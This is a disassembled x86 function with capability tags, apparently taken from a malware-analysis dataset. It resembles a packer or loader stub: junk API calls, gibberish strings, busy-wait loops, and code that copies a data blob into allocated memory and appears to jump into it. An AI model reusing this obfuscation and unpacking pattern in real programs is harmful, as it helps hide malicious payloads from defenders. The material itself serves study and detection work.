Function at 0x40ae60
Capabilities:
Connect pipe
Get common file path
Get geographical location
Identify system language via api
Manipulate console buffer
Set console window title
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40c526
mov eax, dword fs:[0]
push eax
sub esp, 0x890
mov eax, dword [0x42507c]
xor eax, esp
mov dword [esp + 0x888], eax
push ebx
push esi
push edi
mov eax, dword [0x42507c]
xor eax, esp
push eax
lea eax, [esp + 0x8a0]
mov dword fs:[0], eax
mov edx, dword [0x2b4c4e4]
xor edi, edi
cmp edx, 0x7c
jne 0x40af2a
push edi
push edi
call dword [sym.imp.USER32.dll_LoadIconA]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push edi
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push edi
call dword [sym.imp.KERNEL32.dll_LocalUnlock]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
cmp dword [0x2b4c4e4], 0x2d
jne 0x40af05
push edi
lea eax, [esp + 0x14]
push eax
mov dword [esp + 0x18], edi
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], edi
mov dword [esp + 0x24], edi
call fcn.004021f4
add esp, 4
lea ecx, [esp + 0x18]
push ecx
call fcn.00401150
mov edx, dword [0x2b4c4e4]
mov ecx, dword [0x426d80]
xor eax, eax
mov esi, 0xec58acac
cmp eax, 0x8450db
jne 0x40af44
lea edx, [ecx + 0xa231]
cmp edx, 0x141
jne 0x40af5c
mov dword [0x4280c0], esi
mov dword [0x4280c4], 0xffffffff
inc eax
cmp eax, 0xb9fa618
jl 0x40af37
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov dword [0x2b4c4e4], edx
xor esi, esi
cmp esi, 0x562d05
jne 0x40af84
mov eax, dword [0x426d74]
mov dword [0x2b4c86c], eax
cmp edx, 0x3c
jne 0x40af92
push edi
call ebx
mov edx, dword [0x2b4c4e4]
inc esi
cmp esi, 0x5f6c74
jl 0x40af72
cmp edx, 0x110a
jne 0x40b0f4
push edi
mov dword [0x2b4c4d8], edi
mov dword [0x2b4c4dc], edi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push str.roniyabacunaruta
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push edi
call fcn.00401f81
xor ecx, ecx
add esp, 4
lea esi, [ecx + 1]
lea eax, [esp + 0x50]
mov dword [esp + 0x64], 7
mov dword [esp + 0x60], edi
mov word [esp + 0x50], cx
call fcn.00401280
push str.0__s__d__f
mov dword [esp + 0x8ac], edi
call fcn.00402092
add esp, 4
push edi
call fcn.00401f81
mov dword [esp + 0x48], edi
mov edi, esi
mov ebx, 0xf
add esp, 4
lea esi, [esp + 0x34]
mov dword [esp + 0x48], ebx
mov byte [esp + 0x34], 0
call fcn.004011b0
push 0
mov byte [esp + 0x8ac], 1
call fcn.0040aa38
add esp, 4
lea esi, [esp + 0x18]
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x28], 0
mov byte [esp + 0x18], 0
call fcn.004011b0
xor edi, edi
push edi
call fcn.00401f81
add esp, 4
push 0x4238b4
push 0x427bc0
call fcn.00401a5c
push edi
call fcn.004021d2
mov esi, 0x10
add esp, 0xc
cmp dword [esp + 0x2c], esi
jb 0x40b0a6
mov edx, dword [esp + 0x18]
push edx
call fcn.004021e9
add esp, 4
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x28], edi
mov byte [esp + 0x18], 0
cmp dword [esp + 0x48], esi
jb 0x40b0c6
mov eax, dword [esp + 0x34]
push eax
call fcn.004021e9
add esp, 4
mov dword [esp + 0x8a8], 0xffffffff
cmp dword [esp + 0x64], 8
mov dword [esp + 0x48], ebx
mov dword [esp + 0x44], edi
mov byte [esp + 0x34], 0
jb 0x40b0f2
mov ecx, dword [esp + 0x50]
push ecx
call fcn.004021e9
add esp, 4
xor edi, edi
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edx, dword [0x2b4c4e4]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x2b4c20c], eax
cmp dword [0x2b4c4e4], edi
jbe 0x40b15d
mov ebx, dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov eax, dword [0x2b4c86c]
mov dword [esp + 0x18], eax
mov eax, 0xa231
add dword [esp + 0x18], eax
mov ecx, dword [esp + 0x18]
mov dl, byte [ecx + esi]
mov eax, dword [0x2b4c20c]
mov byte [eax + esi], dl
cmp dword [0x2b4c4e4], 0x5ab
jne 0x40b154
push edi
push edi
push edi
call ebx
inc esi
cmp esi, dword [0x2b4c4e4]
jb 0x40b122
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.msimg32.dll
call esi
call fcn.0040ab80
mov eax, dword [0x2b4c4e4]
mov ecx, dword [0x2b4c20c]
mov ebx, dword [0x425f60]
mov edi, eax
mov dword [esp + 0x14], ecx
cmp eax, 0x930
jne 0x40b19a
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov eax, dword [0x2b4c4e4]
mov dword [0x2b4c208], ebx
cmp eax, 0x114e
jne 0x40b1be
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push 0
call esi
mov eax, dword [0x2b4c4e4]
cmp eax, 0x2f
jne 0x40b1f4
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
xor edx, edx
push edx
lea eax, [esp + 0x1c]
push eax
push ecx
mov dword [esp + 0x24], edx
mov dword [esp + 0x2c], ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
push 0
lea ecx, [esp + 0x98]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
mov ebx, dword [esp + 0x14]
call fcn.0040acd0
add dword [0x2b4c20c], 0x2459
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
xor esi, esi
lea edx, [esp + 0x6c]
push edx
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x40b238
cmp dword [esp + 0x74], 0xf5bed7
jne 0x40b241
inc esi
cmp esi, 0x1ece7a52
jl 0x40b215
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x10], 0x1519a5
mov ebx, 0x8e46a6f0
lea ebx, [ebx]
cmp dword [0x2b4c4e4], 0xcc1
jne 0x40b270
push 0
call edi
cmp dword [0x2b4c4e4], 0x3dc
mov dword [0x2b4c4e0], ebx
jne 0x40b295
push 0
push 0
push 0
push 0
push 0
push 0
push str.tapaxokikejuhovurodisobuw
call esi
dec dword [esp + 0x10]
jne 0x40b260
mov ecx, dword [esp + 0x8a0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x888]
xor ecx, esp
call fcn.00401a4d
mov esp, ebp
pop ebp
ret